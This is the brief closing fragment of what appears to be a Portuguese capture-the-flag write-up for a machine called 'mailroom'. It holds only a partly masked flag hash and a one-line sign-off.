c36325d4e986cddxxxxxxxxxxxxxxxxx

Assim finalizamos a máquina mailroom :)

--

--